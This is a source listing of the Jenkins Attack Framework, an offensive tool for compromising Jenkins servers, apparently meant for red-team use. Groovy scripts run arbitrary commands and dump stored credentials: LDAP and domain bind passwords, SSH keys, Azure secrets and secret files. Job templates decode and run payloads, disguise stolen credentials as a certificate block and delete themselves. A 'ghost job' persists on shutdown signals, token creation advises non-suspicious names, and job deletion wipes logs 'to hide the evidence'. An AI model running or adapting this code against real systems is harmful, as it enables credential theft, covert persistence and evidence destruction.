├── requirements.txt ├── tests ├── __init__.py ├── test_MainEntry.py ├── helpers.py ├── test_ListJobs.py ├── test_WhoAmI.py ├── test_DumpCreds.py ├── test_RunCommand.py ├── test_AccessCheck.py ├── test_ConsoleOutput.py ├── test_DeleteJob.py ├── test_DumpCredsViaJob.py ├── test_RunScript.py ├── test_UploadFile.py └── test_RunJob.py ├── .gitignore ├── data ├── groovy │ ├── delete_api_token_for_user_template.groovy │ ├── run_command_template.groovy │ ├── create_api_token_for_user_template.groovy │ ├── list_api_tokens_for_user_template.groovy │ └── dump_creds.groovy ├── batch │ ├── windows_normal_job_template.bat │ ├── windows_ghost_job_template.bat │ └── windows_job_dump_creds_template.bat ├── python │ ├── posix_normal_job_template.py │ └── posix_ghost_job_template.py ├── bash │ └── posix_job_dump_creds_template.sh ├── xml │ ├── job_template.xml │ └── credential_binding_template.xml └── cpp │ └── windows_ghost_job_helper.cpp ├── jaf.py ├── pyproject.toml ├── .gitlab-ci.yml ├── LICENSE ├── libs └── JAF │ ├── __init__.py │ ├── plugin_ListAPITokens.py │ ├── plugin_ListJobs.py │ ├── plugin_CreateAPIToken.py │ ├── plugin_DeleteJob.py │ ├── plugin_DumpCreds.py │ ├── plugin_DeleteAPIToken.py │ ├── plugin_RunCommand.py │ ├── plugin_RunScript.py │ ├── plugin_UploadFile.py │ ├── plugin_WhoAmI.py │ ├── BasePlugin.py │ ├── CustomArgumentParser.py │ ├── plugin_AccessCheck.py │ ├── plugin_ConsoleOutput.py │ ├── BaseCommandLineParser.py │ ├── plugin_DumpCredsViaJob.py │ └── plugin_RunJob.py └── jaf /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | beautifulsoup4 3 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- 1 | creds = "jenkins1:asdasd" 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | Pipfile* 3 | .vscode 4 | .venv 5 | *.pyc 6 | tests/configuration.py 7 | -------------------------------------------------------------------------------- /data/groovy/delete_api_token_for_user_template.groovy: -------------------------------------------------------------------------------- 1 | import jenkins.security.* 2 | 3 | User u = User.get("@{user}") 4 | t = u.getProperty(ApiTokenProperty.class).getTokenStore() 5 | t.revokeToken("@{token}") 6 | println "Success" -------------------------------------------------------------------------------- /data/groovy/run_command_template.groovy: -------------------------------------------------------------------------------- 1 | def p = "@{command}".execute(); 2 | def b = new StringBuffer(); 3 | p.consumeProcessErrorStream(b); 4 | def e = b.toString() 5 | def o = p.text 6 | 7 | if(o != "") println o; 8 | if(e != "") println e; -------------------------------------------------------------------------------- /data/groovy/create_api_token_for_user_template.groovy: -------------------------------------------------------------------------------- 1 | import jenkins.security.* 2 | 3 | User u = User.get("@{user}") 4 | t = u.getProperty(ApiTokenProperty.class) 5 | ts = t.getTokenStore() 6 | println ts.generateNewToken("@{token}").plainValue 7 | -------------------------------------------------------------------------------- /data/batch/windows_normal_job_template.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | #for @line in @payload: 4 | ECHO @{line} >> "@{file_name}.b64" 5 | #end 6 | 7 | CertUtil -decode "@{file_name}.b64" "@{file_name}" >NUL 2>NUL 8 | DEL /Q "@{file_name}.b64" >NUL 2>NUL 9 | 10 | @!{executor}@{file_name}@!{additional_args} 11 | 12 | DEL /Q "@{file_name}" >NUL 2>NUL 13 | DEL /Q "%~f0" >NUL 2>NUL -------------------------------------------------------------------------------- /data/groovy/list_api_tokens_for_user_template.groovy: -------------------------------------------------------------------------------- 1 | import jenkins.security.* 2 | 3 | User u = User.get("@{command}") 4 | t = u.getProperty(ApiTokenProperty.class) 5 | 6 | for(token in t.getTokenList()){ 7 | println "Token Name: " + token.name; 8 | println "Create Date: " + token.creationDate.toLocaleString(); 9 | println "UUID: " + token.uuid 10 | println "" 11 | } -------------------------------------------------------------------------------- /jaf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = "Shelby Spencer" 5 | __version__ = "1.5.2" 6 | 7 | 8 | import sys 9 | 10 | if sys.version_info.major < 3 or (sys.version_info.major == 3 and sys.version_info.minor < 6): 11 | 12 | sys.stderr.write("Jenkins Attack Framework requires Python 3.6+\n") 13 | exit(-1) 14 | 15 | from libs import JAF 16 | 17 | JAF.JAF() 18 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.isort] 2 | profile = "black" 3 | multi_line_output = 3 4 | 5 | [tool.black] 6 | line-length = 100 7 | target-version = ['py36'] 8 | include = '\.pyi?$' 9 | exclude = ''' 10 | 11 | ( 12 | /( 13 | \.eggs # exclude a few common directories in the 14 | | \.git # root of the project 15 | | \.hg 16 | | \.mypy_cache 17 | | \.tox 18 | | \.venv 19 | | _build 20 | | buck-out 21 | | build 22 | | dist 23 | )/\ 24 | ) 25 | ''' 26 | -------------------------------------------------------------------------------- /data/python/posix_normal_job_template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import base64 4 | import inspect 5 | import os 6 | import zlib 7 | 8 | current_file = os.path.abspath(inspect.stack()[0][1]) 9 | script_file = os.path.join(os.path.dirname(current_file), "@{file_name}") 10 | 11 | with open(script_file, "wb") as f: 12 | f.write(zlib.decompress(base64.b64decode("@{payload}"))) 13 | 14 | os.chmod(script_file, 509) 15 | os.system("@!{executor}" + script_file + "@!{additional_args}") 16 | os.remove(script_file) 17 | os.remove(current_file) 18 | -------------------------------------------------------------------------------- /tests/test_MainEntry.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from libs import JAF 4 | 5 | from .helpers import TestFramework 6 | 7 | 8 | class MainEntryTest(unittest.TestCase, TestFramework): 9 | def setUp(self): 10 | self.TestClass = None 11 | self.TestParserClass = None 12 | 13 | def test_mainentry(self): 14 | self.basic_test_harness( 15 | ["jaf.py"], 16 | [r"usage: \w+ \[-h\]", r"Jenkins Attack Framework", r"positional arguments:"], 17 | -1, 18 | ) 19 | 20 | 21 | if __name__ == "__main__": 22 | unittest.main() 23 | -------------------------------------------------------------------------------- /data/batch/windows_ghost_job_template.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | #for @line in @helper_payload: 4 | ECHO @{line} >> "@{helper_file_name}.b64" 5 | #end 6 | 7 | #for @line in @payload: 8 | ECHO @{line} >> "@{file_name}.b64" 9 | #end 10 | 11 | CertUtil -decode "@{file_name}.b64" "@{file_name}" >NUL 12 | DEL /Q "@{file_name}.b64" >NUL 2>NUL 13 | 14 | CertUtil -decode "@{helper_file_name}.b64" "@{helper_file_name}" >NUL 15 | DEL /Q "@{helper_file_name}.b64" >NUL 2>NUL 16 | 17 | @{helper_file_name} @!{executor}@{file_name}@!{additional_args} 18 | 19 | timeout 5 >nul 20 | 21 | DEL /Q "@{helper_file_name}" >NUL 2>NUL 22 | DEL /Q "%~f0" >NUL 2>NUL -------------------------------------------------------------------------------- /data/python/posix_ghost_job_template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import base64 3 | import inspect 4 | import os 5 | import signal 6 | import time 7 | import zlib 8 | 9 | 10 | def handler(*ignored): 11 | current_file = os.path.abspath(inspect.stack()[0][1]) 12 | script_file = os.path.join(os.path.dirname(current_file), "@{file_name}") 13 | 14 | with open(script_file, "wb") as f: 15 | f.write(zlib.decompress(base64.b64decode("@{payload}"))) 16 | 17 | os.chmod(script_file, 509) 18 | os.system("@!{executor}" + script_file + "@!{additional_args}") 19 | os.remove(script_file) 20 | os.remove(current_file) 21 | 22 | 23 | signal.signal(signal.SIGTERM, handler) 24 | 25 | while True: 26 | time.sleep(100000) 27 | -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | stages: 2 | - test 3 | 4 | black: 5 | stage: test 6 | image: python:3.6 7 | before_script: 8 | - pip install black 9 | script: 10 | - black . --check --diff --py36 11 | 12 | isort: 13 | stage: test 14 | image: python:3.6 15 | before_script: 16 | - pip install isort 17 | script: 18 | - isort . --check --diff --py 36 19 | 20 | autoflake: 21 | stage: test 22 | image: python:3.6 23 | before_script: 24 | - pip install autoflake 25 | script: 26 | - autoflake -c -r --remove-unused-variables . 27 | 28 | flake8: 29 | stage: test 30 | image: python:3.6 31 | before_script: 32 | - pip install flake8-awesome 33 | script: 34 | - flake8 --ignore "E501,E203,T001,I004,W291,W292,W293,W503,I004,B006,S110,ECE001,IF100,R503,N802,I900,B012,R504,B010" libs/ -------------------------------------------------------------------------------- /data/bash/posix_job_dump_creds_template.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "@{barrier}" >> "@{file_name}" 4 | #for @cred in @credentials: 5 | echo "@{cred.type}" >> "@{file_name}" 6 | echo "@{cred.description}" >> "@{file_name}" 7 | #if(@{cred.type} == "PASSWORD" || @{cred.type} == "SECRETTEXT") 8 | echo "$@{cred.variable}" >> "@{file_name}" 9 | #elseif(@{cred.type} == "SSHKEY") 10 | echo "$@{cred.username_variable}" >> "@{file_name}" 11 | echo "$@{cred.passphrase_variable}" >> "@{file_name}" 12 | cat "$@{cred.key_file_variable}" >> "@{file_name}" 13 | #elseif(@{cred.type} == "SECRETFILE") 14 | cat "$@{cred.variable}" >> "@{file_name}" 15 | #end 16 | echo "@{barrier}" >> "@{file_name}" 17 | #end 18 | echo "-----BEGIN CERTIFICATE-----" 19 | cat "@{file_name}" | base64 20 | echo "-----END CERTIFICATE-----" 21 | rm -f "@{file_name}" >/dev/null 2>&1 22 | rm -- "$0" >/dev/null 2>&1 23 | -------------------------------------------------------------------------------- /data/batch/windows_job_dump_creds_template.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | ECHO @{barrier} >> "@{file_name}" 3 | #for @cred in @credentials: 4 | ECHO @{cred.type} >> "@{file_name}" 5 | ECHO @{cred.description} >> "@{file_name}" 6 | #if(@{cred.type} == "PASSWORD" || @{cred.type} == "SECRETTEXT") 7 | ECHO %@{cred.variable}% >> "@{file_name}" 8 | #elseif(@{cred.type} == "SSHKEY") 9 | ECHO %@{cred.username_variable}% >> "@{file_name}" 10 | ECHO %@{cred.passphrase_variable}% >> "@{file_name}" 11 | TYPE %@{cred.key_file_variable}% >> "@{file_name}" 12 | #elseif(@{cred.type} == "SECRETFILE") 13 | TYPE %@{cred.variable}% >> "@{file_name}" 14 | #end 15 | ECHO @{barrier} >> "@{file_name}" 16 | #end 17 | 18 | CertUtil -encode "@{file_name}" "@{file_name}.b64" >NUL 2>NUL 19 | TYPE "@{file_name}.b64" 20 | 21 | DEL /Q "@{file_name}" >NUL 2>NUL 22 | DEL /Q "@{file_name}.b64" >NUL 2>NUL 23 | DEL /Q "%~f0" >NUL 2>NUL -------------------------------------------------------------------------------- /data/xml/job_template.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | false 6 | 7 | 8 | @!{assigned_nodes} 9 | false 10 | false 11 | false 12 | false 13 | 14 | false 15 | 16 | 17 | @{commands} 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | @!{credential_bindings} 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Accenture 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /data/xml/credential_binding_template.xml: -------------------------------------------------------------------------------- 1 | #for @cred in @credentials: 2 | #if(@{cred.type} == "PASSWORD") 3 | 4 | @{cred.id} 5 | @{cred.variable} 6 | 7 | #elseif(@{cred.type} == "SECRETTEXT") 8 | 9 | @{cred.id} 10 | @{cred.variable} 11 | 12 | #elseif(@{cred.type} == "SSHKEY") 13 | 14 | @{cred.id} 15 | @{cred.key_file_variable} 16 | @{cred.username_variable} 17 | @{cred.passphrase_variable} 18 | 19 | #elseif(@{cred.type} == "SECRETFILE") 20 | 21 | @{cred.id} 22 | @{cred.variable} 23 | 24 | #end 25 | #end -------------------------------------------------------------------------------- /libs/JAF/__init__.py: -------------------------------------------------------------------------------- 1 | import glob 2 | import importlib 3 | import os 4 | import sys 5 | 6 | from .BaseCommandLineParser import BaseCommandLineParser 7 | 8 | 9 | def JAF(): 10 | """ 11 | Primary JAF Function 12 | This function handles the dynamic plugin loading. 13 | Commandline Parsers are loaded as mixins to the BaseCommandLindParser class. 14 | Once parsing occurs, the correct Plugin Class is called that inherits from BasePlugin. 15 | """ 16 | 17 | plugins = [BaseCommandLineParser] 18 | 19 | for plugin in glob.glob( 20 | os.path.join(os.path.dirname(os.path.realpath(__file__)), "plugin_*.py") 21 | ): 22 | plugin = (os.path.split(plugin)[1])[7:-3] 23 | 24 | try: 25 | module = importlib.import_module("libs.JAF.plugin_" + plugin) 26 | parser_class = getattr(module, plugin + "Parser") 27 | plugins.append(parser_class) 28 | except AttributeError as ex: 29 | sys.stderr.write("An error occurred loading plugin {0}:\n\t{1}\n".format(plugin, ex)) 30 | exit(-1) 31 | 32 | command_line_parser = type("CommandLineParser", tuple(plugins), {})() 33 | args = command_line_parser.parse() 34 | 35 | try: 36 | module = importlib.import_module("libs.JAF.plugin_" + args.subcommand) 37 | except ModuleNotFoundError as ex: 38 | sys.stderr.write( 39 | "An error occurred loading plugin {0}:\n\t{1}\n".format(args.subcommand, ex) 40 | ) 41 | exit(-1) 42 | 43 | return getattr(module, args.subcommand)(args) 44 | -------------------------------------------------------------------------------- /jaf: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | function clean_up { 4 | autoflake -i -r --remove-unused-variables --expand-star-imports --exclude ".venv,.git" . 2>&1 5 | isort . 2>&1 6 | black . 2>&1 7 | flake8 --ignore "S105,S406,E501,E203,T001,I004,W291,W292,W293,W503,I004,B006,S110,ECE001,IF100,R503,N802,I900,B012,R504,B010" libs/ 2>&1 8 | } 9 | 10 | if [ $# -gt 0 ] && [ "$1" == "--install" ]; then 11 | if [ "$(id -u)" == "0" ]; then 12 | apt-get update 13 | apt-get install -y python3 python3-pip 14 | pip3 install -U pip 15 | pip3 install pipenv 16 | 17 | rm Pipfile >/dev/null 2>&1 18 | rm Pipfile.lock >/dev/null 2>&1 19 | rm -rf .venv >/dev/null 2>&1 20 | 21 | if ! [ $# -gt 1 ]; then 22 | echo -e "\n\nNow that you have installed the dependencies that require root, rerun this script as your normal user.\n\n" 23 | echo -e "If you want to continue as root, re-run and pass the additional argument of \"--asroot\" to this script\n\n" 24 | fi 25 | fi 26 | 27 | if ! [ "$(id -u)" == "0" ] || [ $# -gt 1 ]; then 28 | if ! [ -x "$(command -v python3)" ]; then 29 | echo -e 'Error: You must have python3 installed.\nDid you run this script with root originally?\nIf not, do that now.' 30 | exit -1 31 | fi 32 | 33 | if ! [ -x "$(command -v pip3)" ]; then 34 | echo -e 'Error: You must have python3-pip installed.\nDid you run this script with root originally?\nIf not, do that now.' 35 | exit -1 36 | fi 37 | 38 | pythonver=$(python3 -c "import platform; print('.'.join(platform.python_version().split('.')[:2]))") 39 | 40 | export PIPENV_VENV_IN_PROJECT=1 41 | pipenv --python "${pythonver}" 42 | pipenv install -r requirements.txt 43 | fi 44 | 45 | elif [ $# -gt 0 ] && [ "$1" == "--check_install" ]; then 46 | pip3 install black isort autoflake flake8-awesome 47 | 48 | elif [ $# -gt 0 ] && [ "$1" == "--check" ]; then 49 | clean_up 50 | python3 -m unittest discover 2>&1 51 | elif [ $# -gt 0 ] && [ "$1" == "--cleanup" ]; then 52 | clean_up 53 | else 54 | pipenv run python jaf.py "$@" 55 | fi 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /libs/JAF/plugin_ListAPITokens.py: -------------------------------------------------------------------------------- 1 | import requests.exceptions as req_exc 2 | 3 | from libs import jenkinslib 4 | 5 | from .BasePlugin import BasePlugin 6 | 7 | 8 | class ListAPITokens(BasePlugin): 9 | """Class for managing ListAPITokens SubCommand""" 10 | 11 | def __init__(self, args): 12 | super().__init__(args) 13 | 14 | try: 15 | cred = self.args.credentials[0] 16 | server = self._get_jenkins_server(cred) 17 | 18 | tokens = server.list_api_tokens(self.args.user_name) 19 | 20 | print("Current API Tokens:") 21 | 22 | for i, token in enumerate(tokens): 23 | print( 24 | "\tToken Name: {0}\n\tCreate Date: {1}\n\tUUID: {2}".format( 25 | token["name"], token["creation_date"], token["uuid"] 26 | ) 27 | ) 28 | if i != len(tokens) - 1: 29 | print("") 30 | 31 | if len(tokens) == 0: 32 | print("\tThere are no API tokens for this user.") 33 | 34 | except jenkinslib.JenkinsException as ex: 35 | if "[403]" in str(ex).split("\n")[0]: 36 | self.logging.fatal( 37 | "%s: Invalid Credentials or unable to access Jenkins server.", 38 | self._get_username(cred), 39 | ) 40 | else: 41 | self.logging.fatal( 42 | "ListAPITokens Failed With User: %s For Reason:\n\t%s" 43 | % (self._get_username(cred), str(ex).split("\n")[0]) 44 | ) 45 | 46 | except (req_exc.SSLError, req_exc.ConnectionError): 47 | self.logging.fatal( 48 | "Unable to connect to: " 49 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 50 | ) 51 | 52 | except Exception: 53 | self.logging.exception("") 54 | exit(1) 55 | 56 | 57 | class ListAPITokensParser: 58 | def cmd_ListAPITokens(self): 59 | """Handles parsing of ListAPITokens Subcommand arguments""" 60 | 61 | self._create_contextual_parser("ListAPITokens", "List API Tokens for your user") 62 | self._add_common_arg_parsers() 63 | 64 | self.parser.add_argument( 65 | "-U", 66 | "--user", 67 | metavar="", 68 | help='If provided, will use Jenkins Script Console to query tokens for this user. (Requires Admin "/script" permissions)', 69 | action="store", 70 | dest="user_name", 71 | required=False, 72 | ) 73 | 74 | args = self.parser.parse_args() 75 | 76 | self._validate_server_url(args) 77 | 78 | return self._handle_authentication(args) 79 | -------------------------------------------------------------------------------- /libs/JAF/plugin_ListJobs.py: -------------------------------------------------------------------------------- 1 | from urllib.parse import urlparse 2 | 3 | import requests.exceptions as req_exc 4 | 5 | from libs import jenkinslib 6 | 7 | from .BasePlugin import BasePlugin 8 | 9 | 10 | class ListJobs(BasePlugin): 11 | """Class for managing ListJobs SubCommand""" 12 | 13 | def __init__(self, args): 14 | super().__init__(args) 15 | 16 | try: 17 | cred = self.args.credentials[0] 18 | server = self._get_jenkins_server(cred) 19 | 20 | result = server.basic_access_check() 21 | 22 | if result == 500 or result == 401: 23 | self.logging.fatal( 24 | "Either no access to read jobs or Unable to access Jenkins at: %s", 25 | ( 26 | self.server_url.netloc 27 | if len(self.server_url.netloc) > 0 28 | else self.args.server 29 | ), 30 | ) 31 | return 32 | 33 | jobs = server.get_all_jobs() 34 | 35 | for job in jobs: 36 | print(urlparse(job["url"]).path[len(self.server_url.path) :]) 37 | 38 | except jenkinslib.JenkinsException as ex: 39 | if "[403]" in str(ex).split("\n")[0]: 40 | self.logging.fatal( 41 | "%s authentication failed or no access", self._get_username(cred) 42 | ) 43 | else: 44 | self.logging.fatal( 45 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 46 | % ( 47 | ( 48 | self.server_url.netloc 49 | if len(self.server_url.netloc) > 0 50 | else self.args.server 51 | ), 52 | self._get_username(cred), 53 | str(ex).split("\n")[0], 54 | ) 55 | ) 56 | 57 | except (req_exc.SSLError, req_exc.ConnectionError): 58 | self.logging.fatal( 59 | "Unable to connect to: " 60 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 61 | ) 62 | 63 | except Exception: 64 | self.logging.exception("") 65 | exit(1) 66 | 67 | 68 | class ListJobsParser: 69 | def cmd_ListJobs(self): 70 | """Handles parsing of ListJobs Subcommand arguments""" 71 | 72 | self._create_contextual_parser("ListJobs", "Get List of All Jenkins Job Names") 73 | self._add_common_arg_parsers() 74 | 75 | args = self.parser.parse_args() 76 | 77 | self._validate_server_url(args) 78 | self._validate_timeout_number(args) 79 | self._validate_output_file(args) 80 | 81 | return self._handle_authentication(args) 82 | -------------------------------------------------------------------------------- /data/groovy/dump_creds.groovy: -------------------------------------------------------------------------------- 1 | import com.cloudbees.plugins.credentials.* 2 | import com.cloudbees.plugins.credentials.common.* 3 | import com.cloudbees.plugins.credentials.domains.* 4 | import com.cloudbees.plugins.credentials.impl.* 5 | import com.cloudbees.jenkins.plugins.sshcredentials.impl.* 6 | import org.jenkinsci.plugins.plaincredentials.impl.* 7 | 8 | try { 9 | for(domain in Jenkins.getInstance().getSecurityRealm().getDomains()) { 10 | a = domain.getServers() + " " + domain.getBindName() + ":" + domain.getBindPassword() 11 | println "Domain Bind Credentials: " + a 12 | println '-------------------------------------------------------------------' 13 | }} catch(Exception){} 14 | 15 | try { 16 | for (conf in Jenkins.getInstance().getSecurityRealm().getConfigurations()) { 17 | a = conf.getLDAPURL() + " " + conf.getManagerDN() + ":" + conf.getManagerPassword() 18 | println "LDAP Bind Credentials: " + a 19 | println '-------------------------------------------------------------------' 20 | }} catch(Exception){} 21 | 22 | domain = Domain.global() 23 | store = SystemCredentialsProvider.getInstance().getStore() 24 | 25 | for (credential in store.getCredentials(domain)) { 26 | if (credential instanceof UsernamePasswordCredentialsImpl) { 27 | println credential.getId() + " " + credential.getUsername() + ":" + credential.getPassword().getPlainText() 28 | println '-------------------------------------------------------------------' 29 | } else if (credential instanceof StringCredentialsImpl) { 30 | println credential.getId() + " " + credential.getSecret().getPlainText() 31 | println '-------------------------------------------------------------------' 32 | } else if(credential instanceof BasicSSHUserPrivateKey) { 33 | println credential.getId() + " " + credential.getUsername() + ":" + credential.getPassphrase() + "\n" + credential.getPrivateKey() 34 | println '-------------------------------------------------------------------' 35 | } else if (credential.getClass().toString() == "class com.microsoft.azure.util.AzureCredentials") { 36 | println "AzureCred:" + credential.getSubscriptionId() + " " + credential.getClientId() + ":" + credential.getPlainClientSecret() + " " + credential.getTenant() 37 | println '-------------------------------------------------------------------' 38 | } else if (credential.getClass().toString() == "class org.jenkinsci.plugins.github_branch_source.GitHubAppCredentials") { 39 | println credential.getId() + " " + credential.getUsername() + "\n" + credential.getPrivateKey().getPlainText() 40 | println '-------------------------------------------------------------------' 41 | } 42 | else if (credential.getClass().toString() == "class org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl") { 43 | println "Secret File: " + credential.getFileName() 44 | println credential.getContent().text 45 | println '-------------------------------------------------------------------' 46 | } 47 | } -------------------------------------------------------------------------------- /libs/JAF/plugin_CreateAPIToken.py: -------------------------------------------------------------------------------- 1 | import requests.exceptions as req_exc 2 | 3 | from libs import jenkinslib 4 | 5 | from .BasePlugin import BasePlugin 6 | 7 | 8 | class CreateAPIToken(BasePlugin): 9 | """Class for managing CreateAPIToken SubCommand""" 10 | 11 | def __init__(self, args): 12 | super().__init__(args) 13 | 14 | try: 15 | cred = self.args.credentials[0] 16 | server = self._get_jenkins_server(cred) 17 | 18 | result = server.create_api_token( 19 | token_name=self.args.token_name, selected_username=self.args.user_name 20 | ) 21 | 22 | print("Your new API Token is: {0}".format(result)) 23 | 24 | except jenkinslib.JenkinsException as ex: 25 | if "[403]" in str(ex).split("\n")[0]: 26 | self.logging.fatal( 27 | "%s: Invalid Credentials or unable to access Jenkins server.", 28 | self._get_username(cred), 29 | ) 30 | else: 31 | self.logging.fatal( 32 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 33 | % ( 34 | ( 35 | self.server_url.netloc 36 | if len(self.server_url.netloc) > 0 37 | else self.args.server 38 | ), 39 | self._get_username(cred), 40 | str(ex).split("\n")[0], 41 | ) 42 | ) 43 | 44 | except (req_exc.SSLError, req_exc.ConnectionError): 45 | self.logging.fatal( 46 | "Unable to connect to: " 47 | + (self.server_url.netloc if len(self.server_url.netloc) > 0 else self.args.server) 48 | ) 49 | 50 | except Exception: 51 | self.logging.exception("") 52 | exit(1) 53 | 54 | 55 | class CreateAPITokenParser: 56 | def cmd_CreateAPIToken(self): 57 | """Handles parsing of CreateAPIToken Subcommand arguments""" 58 | 59 | self._create_contextual_parser("CreateAPIToken", "Create an API Token for your user") 60 | self._add_common_arg_parsers() 61 | 62 | self.parser.add_argument( 63 | "-U", 64 | "--user", 65 | metavar="", 66 | help='If provided, will use Jenkins Script Console to add token for this user. (Requires Admin "/script" permissions)', 67 | action="store", 68 | dest="user_name", 69 | required=False, 70 | ) 71 | 72 | self.parser.add_argument( 73 | metavar="", 74 | help="Token Name which is shown under the user's configuration page (so pick something that is not too suspicious). Can be duplicated (There do not appear to be any restrictions on token names). If not provided, only token creation date will be shown on user's page.", 75 | action="store", 76 | dest="token_name", 77 | nargs="?", 78 | ) 79 | 80 | args = self.parser.parse_args() 81 | 82 | self._validate_server_url(args) 83 | 84 | return self._handle_authentication(args) 85 | -------------------------------------------------------------------------------- /libs/JAF/plugin_DeleteJob.py: -------------------------------------------------------------------------------- 1 | import requests.exceptions as req_exc 2 | 3 | from libs import jenkinslib 4 | 5 | from .BasePlugin import BasePlugin, HijackStdOut 6 | 7 | 8 | class NonCriticalException(Exception): 9 | pass 10 | 11 | 12 | class DeleteJob(BasePlugin): 13 | """Class for managing DeleteJob SubCommand""" 14 | 15 | def __init__(self, args): 16 | super().__init__(args) 17 | 18 | cred = self.args.credentials[0] 19 | server = self._get_jenkins_server(cred) 20 | 21 | try: 22 | server.delete_job(self.args.task_name) 23 | 24 | print("Successfully deleted the job.") 25 | return 26 | except ( 27 | jenkinslib.JenkinsException, 28 | req_exc.SSLError, 29 | req_exc.ConnectionError, 30 | req_exc.HTTPError, 31 | ): 32 | with HijackStdOut(): 33 | print( 34 | "WARNING: Unable to delete the job, attempting secondary clean-up. You should double check." 35 | ) 36 | 37 | # We were unable to delete the the task, so we need to do secondary clean-up as best we can: 38 | # First we delete all console output and run history: 39 | try: 40 | server.delete_all_job_builds(self.args.task_name) 41 | except ( 42 | jenkinslib.JenkinsException, 43 | req_exc.SSLError, 44 | req_exc.ConnectionError, 45 | req_exc.HTTPError, 46 | ): 47 | print( 48 | "WARNING: Unable to clean-up console output. You should definitely try to do this yourself." 49 | ) 50 | 51 | # Second, overwrite the job with an empty job: 52 | try: 53 | server.reconfig_job( 54 | self.args.task_name, "" 55 | ) 56 | except ( 57 | jenkinslib.JenkinsException, 58 | req_exc.SSLError, 59 | req_exc.ConnectionError, 60 | req_exc.HTTPError, 61 | ): 62 | print( 63 | "WARNING: Unable to wipeout job to hide the evidence. You should definitely try to do this yourself." 64 | ) 65 | 66 | # Third, attempt to disable the job: 67 | try: 68 | server.disable_job(self.args.task_name) 69 | except ( 70 | jenkinslib.JenkinsException, 71 | req_exc.SSLError, 72 | req_exc.ConnectionError, 73 | req_exc.HTTPError, 74 | ): 75 | print("WARNING: Unable to disable job. You should definitely try to do this yourself.") 76 | 77 | exit(1) 78 | 79 | 80 | class DeleteJobParser: 81 | def cmd_DeleteJob(self): 82 | """Handles parsing of DeleteJob Subcommand arguments""" 83 | 84 | self._create_contextual_parser("DeleteJob", "Delete Jenkins Jobs") 85 | self._add_common_arg_parsers() 86 | 87 | self.parser.add_argument( 88 | metavar="", help="Task to Delete", action="store", dest="task_name" 89 | ) 90 | 91 | args = self.parser.parse_args() 92 | 93 | self._validate_server_url(args) 94 | 95 | return_data = self._handle_authentication(args) 96 | 97 | return return_data 98 | -------------------------------------------------------------------------------- /libs/JAF/plugin_DumpCreds.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | 4 | import requests.exceptions as req_exc 5 | 6 | from libs import jenkinslib 7 | 8 | from .BasePlugin import BasePlugin 9 | 10 | 11 | class DumpCreds(BasePlugin): 12 | """Class for managing DumpCreds SubCommand""" 13 | 14 | def __init__(self, args): 15 | super().__init__(args) 16 | 17 | with open(os.path.join("data", "groovy", "dump_creds.groovy")) as f: 18 | dumpcreds = f.read() 19 | 20 | try: 21 | cred = self.args.credentials[0] 22 | server = self._get_jenkins_server(cred) 23 | 24 | if not server.can_access_script_console(): 25 | self.logging.fatal( 26 | "%s: Is not a valid Jenkins Admin or unable to access Jenkins server.", 27 | self._get_username(cred), 28 | ) 29 | 30 | result = server.execute_script(dumpcreds, node=self.args.node) 31 | 32 | result = re.sub( 33 | r"---------------------------------------------------[\r\n][\r\n]{2,}", 34 | "\n\n", 35 | result, 36 | ).strip() 37 | 38 | print(result) 39 | except jenkinslib.JenkinsException as ex: 40 | if "[403]" in str(ex).split("\n")[0]: 41 | self.logging.fatal( 42 | "%s authentication failed or not an admin with script privileges", 43 | self._get_username(cred), 44 | ) 45 | else: 46 | self.logging.fatal( 47 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 48 | % ( 49 | ( 50 | self.server_url.netloc 51 | if len(self.server_url.netloc) > 0 52 | else self.args.server 53 | ), 54 | self._get_username(cred), 55 | str(ex).split("\n")[0], 56 | 